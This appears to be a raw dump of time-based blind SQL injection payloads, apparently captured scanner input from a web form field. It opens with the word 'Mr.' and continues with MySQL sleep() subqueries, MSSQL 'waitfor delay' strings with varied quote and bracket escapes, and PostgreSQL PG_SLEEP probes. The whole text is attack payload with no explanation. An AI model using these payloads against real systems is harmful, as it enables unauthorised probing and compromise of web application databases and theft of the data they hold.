Mr.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

n9evYVVU'; waitfor delay '0:0:15' --

9byuhN2z'); waitfor delay '0:0:15' --

tJp4ItBw')); waitfor delay '0:0:15' --

-5 OR 955=(SELECT 955 FROM PG_SLEEP(15))--

-5) OR 499=(SELECT 499 FROM PG_SLEEP(15))--